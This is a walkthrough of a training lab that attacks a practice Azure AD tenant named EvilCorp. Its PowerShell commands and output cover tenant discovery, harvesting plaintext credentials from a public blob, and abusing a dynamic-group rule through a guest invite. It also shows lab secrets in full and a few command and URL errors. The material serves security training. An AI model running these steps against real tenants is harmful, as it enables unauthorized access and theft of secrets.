Table of Contents

More than 95 percent of Fortune 500 companies use Azure! Azure AD is one of world’s largest web-based identity provider. Having the ability to understand and hack (thus securing) Azure is a skill that is in huge demand.

This blog covers the lab work done in Introduction to Azure Penetration Testing labs & training provided by Nikhil Mittal and Altered Security.

Course Video : https://youtu.be/5dVSHuCEG2w

Free Labs: https://azure.enterprisesecurity.io

Discovery

We just know the name of the target organization - EvilCorp. Let us check if the target organization is using Azure AD! We can use the following URL to get some details! Note that here we are assuming that Evilcorp is using the domain name that is automatically assigned in Azure based on the tenant name. In addition, there is no need to know a valid username to use the below URL:

https://login.microsoftonline.com/[email protected]&xml=1
<RealmInfo Success="true">
<State>4</State>
<UserState>1</UserState>
<Login>[email protected]</Login>
<NameSpaceType>Managed</NameSpaceType>
<DomainName>evilcorp.onmicrosoft.com</DomainName>
<IsFederatedNS>false</IsFederatedNS>
<FederationBrandName>Evil Corporation</FederationBrandName>
<CloudInstanceName>microsoftonline.com</CloudInstanceName>
<CloudInstanceIssuerUri>urn:federation:MicrosoftOnline</CloudInstanceIssuerUri>
</RealmInfo>

‘NameSpaceType’ Managed means that the target organization is using Azure!

Next, find out the Tenant ID for evilcorp.onmicrosoft.com

https://login.microsoftonline.com/evilcorp.onmicrosoft.com/.well-known/openid-configuration
{
  "token_endpoint":"https://login.microsoftonline.com/711c59fe-8dee-40c0-adc1-ed08f738de43/oauth2/token",
  "token_endpoint_auth_methods_supported":["client_secret_post","private_key_jwt","client_secret_basic"],
  "jwks_uri":"https://login.microsoftonline.com/common/discovery/keys",
  "response_modes_supported":["query","fragment","form_post"],
  "subject_types_supported":["pairwise"],
  "id_token_signing_alg_values_supported":["RS256"],
  "response_types_supported":["code","id_token","code id_token","token id_token","token"],
  "scopes_supported":["openid"],
  "issuer":"https://sts.windows.net/711c59fe-8dee-40c0-adc1-ed08f738de43/",
  "microsoft_multi_refresh_token":true,
  "authorization_endpoint":"https://login.microsoftonline.com/711c59fe-8dee-40c0-adc1-ed08f738de43/oauth2/authorize",
  "device_authorization_endpoint":"https://login.microsoftonline.com/711c59fe-8dee-40c0-adc1-ed08f738de43/oauth2/devicecode",
  "http_logout_supported":true,
  "frontchannel_logout_supported":true,
  "end_session_endpoint":"https://login.microsoftonline.com/711c59fe-8dee-40c0-adc1-ed08f738de43/oauth2/logout",
  "claims_supported":["sub","iss","cloud_instance_name","cloud_instance_host_name","cloud_graph_host_name","msgraph_host","aud","exp","iat","auth_time","acr","amr","nonce","email","given_name","family_name","nickname"],
  "check_session_iframe":"https://login.microsoftonline.com/711c59fe-8dee-40c0-adc1-ed08f738de43/oauth2/checksession",
  "userinfo_endpoint":"https://login.microsoftonline.com/711c59fe-8dee-40c0-adc1-ed08f738de43/openid/userinfo",
  "kerberos_endpoint":"https://login.microsoftonline.com/711c59fe-8dee-40c0-adc1-ed08f738de43/kerberos",
  "tenant_region_scope":"AS",
  "cloud_instance_name":"microsoftonline.com",
  "cloud_graph_host_name":"graph.windows.net",
  "msgraph_host":"graph.microsoft.com",
  "rbac_url":"https://pas.windows.net"
}
Tenant ID: 711c59fe-8dee-40c0-adc1-ed08f738de43

We can also use tools like AADInternals (https://github.com/Gerenios/AADInternals) for finding the above!

We can use MicroBuster to look for services used by EvilCorp.

Let us first find out the services used by the target tenant:

PS C:\AzAD\Tools> Import-Module C:\AzAD\Tools\MicroBurst\MicroBurst.psm1

Imported Az MicroBurst functions
AzureAD module not installed, checking other modules
MSOnline module not installed, checking other modules
Imported Misc MicroBurst functions
Imported Azure REST API MicroBurst functions
PS C:\AzAD\Tools> Invoke-EnumerateAzureSubDomains -Base evilcorp

Subdomain                              Service
---------                              -------
evilcorp.mail.protection.outlook.com Email
evilcorp.onmicrosoft.com             Microsoft Hosted Domain
evilcorp.blob.core.windows.net       Storage Accounts - Blobs
evilcorp.file.core.windows.net       Storage Accounts - Files
evilcorp.queue.core.windows.net      Storage Accounts - Queues
evilcorp.table.core.windows.net      Storage Accounts - Tables

The target tenant is using storage accounts! Our next step would be to check if there are any publicly accessible storage accounts.

Initial Access

Let’s use another function from Microbuster to check if there are any storage accounts with anonymous access. Run the below command in the PowerShell session where you imported MicroBuster.

PS C:\AzAD\Tools> Invoke-EnumerateAzureBlobs -Base evilcorp

Found Storage Account - evilcorp.blob.core.windows.net
Found Container - evilcorp.blob.core.windows.net/configuration
Public File Available:
https://evilcorp.blob.core.windows.net/configuration/PAS_Deployment_Script.ps1

There is a script available in a container called ‘configuration’. Let’s check out its contents!

The script seems to be a VM deployment script and it contains a username and password in clear-text in very first lines!

$password = ConvertTo-SecureString 'ZuqK&ijv0085VnCI&#' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('[email protected]', $Password)
Connect-AzAccount -Credential $Cred

$resourceGroup = "PIMManagement"
$location = "Germany West Central"
$vmName = "PAS"
$Subscription = "27ebe5b9-6e27-425a-8117-eeaab022575f"

# Set a variable for the image version in Tenant 1 using the full image ID of the image version
$image = "/subscriptions/$Subscription/resourceGroups/$resourceGroup/providers/Microsoft.Compute/galleries/PIM/images/PAS/versions/2.0"

# Create user object
$cred = Get-Credential -Message "Enter a username and password for the virtual machine."

# Create a resource group
New-AzResourceGroup -Name $resourceGroup -Location $location

# Networking pieces
$subnetConfig = New-AzVirtualNetworkSubnetConfig -Name mySubnet -AddressPrefix 192.168.1.0/24
$vnet = New-AzVirtualNetwork -ResourceGroupName $resourceGroup -Location $location `
  -Name MYvNET -AddressPrefix 192.168.0.0/16 -Subnet $subnetConfig
$pip = New-AzPublicIpAddress -ResourceGroupName $resourceGroup -Location $location `
  -Name "mypublicdns$(Get-Random)" -AllocationMethod Static -IdleTimeoutInMinutes 4
$nsgRuleRDP = New-AzNetworkSecurityRuleConfig -Name myNetworkSecurityGroupRuleRDP  -Protocol Tcp `
  -Direction Inbound -Priority 1000 -SourceAddressPrefix * -SourcePortRange * -DestinationAddressPrefix * `
  -DestinationPortRange 3389 -Access Allow
$nsg = New-AzNetworkSecurityGroup -ResourceGroupName $resourceGroup -Location $location `
  -Name myNetworkSecurityGroup -SecurityRules $nsgRuleRDP
$nic = New-AzNetworkInterface -Name myNic -ResourceGroupName $resourceGroup -Location $location `
  -SubnetId $vnet.Subnets[0].Id -PublicIpAddressId $pip.Id -NetworkSecurityGroupId $nsg.Id

# Create a virtual machine configuration using the $image variable to specify the image
$vmConfig = New-AzVMConfig -VMName $vmName -VMSize Standard_D1_v2 | `
Set-AzVMOperatingSystem -Windows -ComputerName $vmName -Credential $cred | `
Set-AzVMSourceImage -Id $image | `
Add-AzVMNetworkInterface -Id $nic.Id

# Create a virtual machine
New-AzVM -ResourceGroupName $resourceGroup -Location $location -VM $vmConfig

Enumeration

Let’s use the credentials of the user PIMUser that we got above and connect to the evilcorp tenant! Make sure that the Azure AD and Az PowerShell modules are installed on the attack VM that you have setup.

PS C:\AzAD\Tools> Import-Module -Name AzureAD

PS C:\AzAD\Tools> $password = ConvertTo-SecureString 'ZuqK&ijv0085VnCI&#' -AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object System.Management.Automation.PSCredential('[email protected]', $password)

PS C:\AzAD\Tools> Connect-AzureAD -Credential $creds

Account                            Environment TenantId                             TenantDomain               AccountType
-------                            ----------- --------                             ------------               -----------
[email protected] AzureCloud  711c59fe-8dee-40c0-adc1-ed08f738de43 evilcorp.onmicrosoft.com User

Use the following commands from the Azure AD module to enumerate the tenant.

Enumerate Users:


PS C:\AzAD\Tools> Get-AzureADUser -All $true

ObjectId                             DisplayName            UserPrincipalName
--------                             -----------            -----------------
909380cc-bb5c-46ab-863e-52bbf5209908 abusepim               abusepimadmin_robertaaron.onmicrosoft.com#EXT#@evilcorp.onmicrosoft.com
8ec3e815-2e2d-4309-b7d9-5c3bbc0c5851 FNU LNU                adarshvs_0xnullsec.onmicrosoft.com#EXT#@evilcorp.onmicrosoft.com
c6739d48-75f6-4eb9-8488-896739f1ebd7 Gonzalo Aguilar        admin_6h4ackdomain.onmicrosoft.com#EXT#@evilcorp.onmicrosoft.com
5f34313a-0761-464d-a2c0-77d46ab51f50 Gaurav Anand           admin_adminpentesterhero.onmicrosoft.com#EXT#@evilcorp.onmicrosoft.com
5bed9164-8609-49c0-9c25-30ab1953c9a1 David Wordliczek       admin_azpentestsecurity.onmicrosoft.com#EXT#@evilcorp.onmicrosoft.com
9e11f146-2347-46e0-b15d-5330a1dd236e pragya johari          admin_azurettesting12345.onmicrosoft.com#EXT#@evilcorp.onmicrosoft.com
2764a1a8-a902-41b2-bd63-68622732443a FNU LNU                admin_cyberm4nny.onmicrosoft.com#EXT#@evilcorp.onmicrosoft.com
9b74f7b5-ab77-4dd2-8d0b-f1be9ab836c1 Saravana Kumar         admin_empirecorp.onmicrosoft.com#EXT#@evilcorp.onmicrosoft.com
82965bf1-daf2-4acc-9a23-13c36516811b Archit Aggarwal        admin_mynewdomainarchit.onmicrosoft.com#EXT#@evilcorp.onmicrosoft.com
499c92de-17f4-4d6e-bb47-5cd11c351a2b acey acey              admin_notevilcorp.onmicrosoft.com#EXT#@evilcorp.onmicrosoft.com
11f8f7a6-7595-4b3f-8bb5-74cc4644b42b FNU LNU                admin_redteam777.onmicrosoft.com#EXT#@evilcorp.onmicrosoft.com
67c985d0-291b-4fe1-af08-e6f0ca0c40f8 Robert Aaron           admin_robertaaron.onmicrosoft.com#EXT#@evilcorp.onmicrosoft.com
8b755706-5a93-4134-bd72-cd79bb8ef509 Ross Moore             admin_securitychat.onmicrosoft.com#EXT#@evilcorp.onmicrosoft.com
965c7e26-18e2-4454-a51c-118adaff56c2 FNU LNU                admin_wdssa.onmicrosoft.com#EXT#@evilcorp.onmicrosoft.com
faca4d80-e954-42d2-af05-3a0523e61d41 JPAttacker             admin_pitcairntest.onmicrosft.com#EXT#@evilcorp.onmicrosoft.com
d19c7b88-f0dd-48e4-9c27-e2b6e15bc696 Alexander S Evans      [email protected]
7b1c09cd-2552-4d3d-b65b-13fb7baa8961 Alex J Allen           [email protected]
77539ddc-6856-4c3d-8967-1cb6efaa6470 Alfred P Fleming       [email protected]
a84c8225-3c31-4fd5-8581-3a362886dab5 Andrew H Carnes        [email protected]
b4ff45fe-7535-4e8c-be27-f70ecc6e726e Andrew M Edwards       [email protected]
e0b308bd-c5da-45f4-92e6-690a5d943a7e Anna C House           [email protected]
b974968d-2cf9-4aa7-beb5-abe8032eae2f Anthony S Duran        [email protected]
4510cd10-1766-45ac-b247-ee44c8968d16 Antonio K Bell         [email protected]
deb96599-f2a2-4e17-affb-179c1d8f411a Arthur J Randall       [email protected]
...

Enumerate Groups:

PS C:\AzAD\Tools> Get-AzureADGroup -All $true

ObjectId                             DisplayName         Description
--------                             -----------         -----------
359dfa24-0a48-495d-8646-b8a9ab01c13d Finance
35bd7eee-d537-474f-b9a3-9756a8f0ba68 Marketing
49e58be7-16fd-48ec-a9e5-f40feef4adf6 Network Operations
58764583-5791-4627-8731-8411db4ba338 Human Resources
62f656b3-e8c9-452c-85ce-104a8d0baaf5 Security Operations
750d8501-0ad2-4039-b587-993794f6cbd7 PIMAdmins           Members of this group have privileges to manage privileged identities.
777643e6-e814-4abb-8caf-195a3e859325 HelpDesk
80c6d793-acc0-4ba6-bf17-d4048763999b GRC
80f8306b-fe8c-4f1e-9474-1457d4361375 DevOps
a8418db9-8153-43ef-b37e-59fb7d88aaff Network Security
c85146db-e493-4708-bbeb-38eb46441c62 Hardware Mgmt
ff51087c-6a1a-4304-af8c-7e446027e86d Sales

Let’s check if we can access any azure resource as the current user. This will also help in checking if the ‘PIMAdmin’ group has any permissions on Azure resources.

Run the following command in a new PowerShell session to connect to the evilcorp tenant as PIMUser using Az PowerShell module:

PS C:\AzAD\Tools> $password = ConvertTo-SecureString 'ZuqK&ijv0085VnCI&#' -AsPlainText -Force
PS C:\AzAD\Tools> $creds = New-Object System.Management.Automation.PSCredential('[email protected]', $password)
PS C:\AzAD\Tools> Connect-AzAccount -Credential $creds

Account                            SubscriptionName TenantId                             Environment
-------                            ---------------- --------                             -----------
[email protected]                  711c59fe-8dee-40c0-adc1-ed08f738de43 AzureCloud

List the Azure resources where PIMUser has at least read access:

PS C:\AzAD\Tools> Get-AzResource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
    + CategoryInfo          : CloseError: (:) [Get-AzResource], ValidationException
    + FullyQualifiedErrorId : Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet

The error that we got means that the user PIMUser has no access to any of the Azure resources. So, as PIMUser we are limited to Azure AD.

We may like to enumerate if there are Dynamic Groups. As discussed in the course, dynamic groups allow membership based on rules and it may be possible to abuse an overly permissive rule!

Let’s use the Azure AD Preview module to list dynamic groups. We are using the Azure AD Preview module as the Azure AD module is unable to list the membership rule!

Use the below command to list Dynamic Groups. Note that we are first removing the Azure AD module from current PowerShell session and then importing the Azure AD Preview module. Double check the version of the AzureADPreview module for the correct path.

PS C:\AzAD\Tools> Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}

Id                                   DisplayName Description
--                                   ----------- -----------
750d8501-0ad2-4039-b587-993794f6cbd7 PIMAdmins   Members of this group have privileges to manage privileged identities.

Let’s check what is the Membership Rule for the dynamic group ‘PIMAdmins’. Run the below command using Azure AD Preview module:


PS C:\AzAD\Tools> Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'} | select MembershipRule 

MembershipRule
--------------
(user.mail -contains "pim") or (user.mail -contains "pimadmin") or (user.mail -contains "operations") and (user.userType -eq "guest")

So, the membership rule makes anyone who is a Guest (notice the ‘and’ rule) and has ‘pim’, ‘pimadmin’ or ‘operation’ in their email ID to be a member!

Privilege Escalation

We have to invite a user who has ‘pim’, ‘pimadmin’ or ‘operation’ in their email ID to get membership of the PIMAdmins group. We will use the attacker tenant that you created as detailed in the ‘Lab Prerequisites’.

Use the below command from the Azure AD module to invite a guest. Please note that I am using a guest from a tenant that I created. You have to use your own attacker tenant that you created as detailed in the ‘Lab Prerequisites’. Make sure that the invited user has email that contains ‘pim’, ‘pimadmin’ or ‘operation’ and you choose a unique value for the ‘InvitedUserDisplayName’ below:

PS C:\Windows\system32> New-AzureADMSInvitation -InvitedUserDisplayName "InvitedAttacker1" -InvitedUserEmailAddress "[email protected]" -InviteRedirectURL https://portal.azure.com -SendInvitationMessage $true


Id                      : 3c0cf9f0-f252-4945-8ff7-80b8fb2760ab
InvitedUserDisplayName  : InvitedAttacker1
InvitedUserEmailAddress : [email protected]
SendInvitationMessage   : True
InviteRedeemUrl         : https://login.microsoftonline.com/redeem?rd=https%3a%2f%2finvitations.microsoft.com%2fredeem%
                          2f%3ftenant%3d711c59fe-8dee-40c0-adc1-ed08f738de43%26user%3d3c0cf9f0-f252-4945-8ff7-80b8fb276
                          0ab%26ticket%3dQmWDn95cihYOkq0sowcu7SYe36iuGy73H93Rcus0wvA%253d%26ver%3d2.0
InviteRedirectUrl       : https://portal.azure.com/
InvitedUser             : class User {
                            Id: 502c8c63-0e09-4d11-a00d-3145406d85b0
                            OdataType:
                          }

InvitedUserMessageInfo  : class InvitedUserMessageInfo {
                            CcRecipients: System.Collections.Generic.List`1[Microsoft.Open.MSGraph.Model.Recipient]
                            CustomizedMessageBody:
                            MessageLanguage:
                          }

InvitedUserType         : Guest
Status                  : PendingAcceptance

Copy the InviteRedeemUrl and browse to it using a web browser. Login as the user that you invited and accept the permissions!

https://login.microsoftonline.com/redeem?rd=https%3a%2f%2finvitations.microsoft.com%2fredeem%2f%3ftenant%3d711c59fe-8dee-40c0-adc1-ed08f738de43%26user%3d3c0cf9f0-f252-4945-8ff7-80b8fb2760ab%26ticket%3dQmWDn95cihYOkq0sowcu7SYe36iuGy73H93Rcus0wvA%253d%26ver%3d2.0

After login you will be redirected to https://portal.zure.com, you may need to switch directory to go to EvilCorp tenant. See the screenshots below

In some cases, you might need to logout and login again from the portal for your user to be added to the dynamic group. In any case, Azure may take 5-6 minutes before the user is added to the group.

Once the user is added to the PIMAdmins group, navigate to ‘All Resources’ in the Azure Portal.

You will see the evilcorp storage account. Browse to ‘Containers’ in the storage account. Recall that we already accessed the configuration container in the storage account as that container allows anonymous access. However, you will find an additional container named ‘pimadmins’. The container contains a file ‘PIM.json’. Download it!

The PIM.json file is a manifest for an Enterprise Application named ‘PIM’. Look at the ‘passwordCredentials’ parameter in there and you will find application password for this application:

"passwordCredentials": [
{
"customKeyIdentifier": null,
"endDate": "2023-12-02T06:44:44.945Z",
"keyId": "1c4ea66d-f755-4404-91ce-8f4a509c6756",
"startDate": "2021-12-02T06:44:44.945Z",
"value": "mEY7Q~PByrDX88Q4Rqoelzu~rHyLqhFgp-Ycb",
"createdOn": "2021-12-02T06:45:03.1827138Z",
"hint": "mEY",
"displayName": "Creds"
}
],

Lateral Movement

Use the below Az PowerShell commands to access the tenant as PIM enterprise application!

PS C:\AzAD\Tools> Connect-AzAccount -ServicePrincipal -Tenant "711c59fe-8dee-40c0-adc1-ed08f738de43" -Credential $creds
WARNING: The provided service principal secret will be included in the 'AzureRmContext.json' file found in the user
profile ( C:\Users\IEUser\.Azure ). Please ensure that this directory has appropriate protections.

Account                              SubscriptionName TenantId                             Environment
-------                              ---------------- --------                             -----------
20eb5f4e-317a-4987-a384-298bf636f082 EvilCorp       711c59fe-8dee-40c0-adc1-ed08f738de43 AzureCloud

Please take a note of the warning! Looking at the .Azure directory in a user profile is always recommended to get some credentials!

Run the below command to enumerate Azure resources accessible to the PIM enterprise application:

PS C:\AzAD\Tools> Get-AzKeyVaultSecret -VaultName breakglass-vault

Name              : breakglass-vault
ResourceGroupName : Evil
ResourceType      : Microsoft.KeyVault/vaults
Location          : germanywestcentral
ResourceId        : /subscriptions/27ebe5b9-6e27-425a-8117-eeaab022575f/resourceGroups/Evil/providers/Microsoft.KeyVault/vaults/breakglass-vault
Tags              :

Sweet! We can read a key vault. Let’s check if there are secrets in there and if we can read the secrets too!

PS C:\AzAD\Tools> Get-AzKeyVaultSecret -VaultName breakglass-vault

Vault Name   : breakglass-vault
Name         : PrivilegedAccess
Version      :
Id           : https://breakglass-vault.vault.azure.net:443/secrets/PrivilegedAccess
Enabled      : True
Expires      :
Not Before   :
Created      : 12/9/2021 7:18:22 PM
Updated      : 12/9/2021 7:18:22 PM
Content Type :
Tags         :

There is a secret called ‘PrivilegedAccess’ inside the keyvault. Let’s try to read the secret!

Get-AzKeyVaultSecret -VaultName breakglass-vault -Name PrivilegedAccess -AsPlainText

Once you complete the lab, please take time to explore more commands from the Azure AD and Az PowerShell module to gather information about the target environment. Also, try to use tools like az cli, ROADrecon, AzureHound, StormSpotter for enumeration and any other tools that you come across!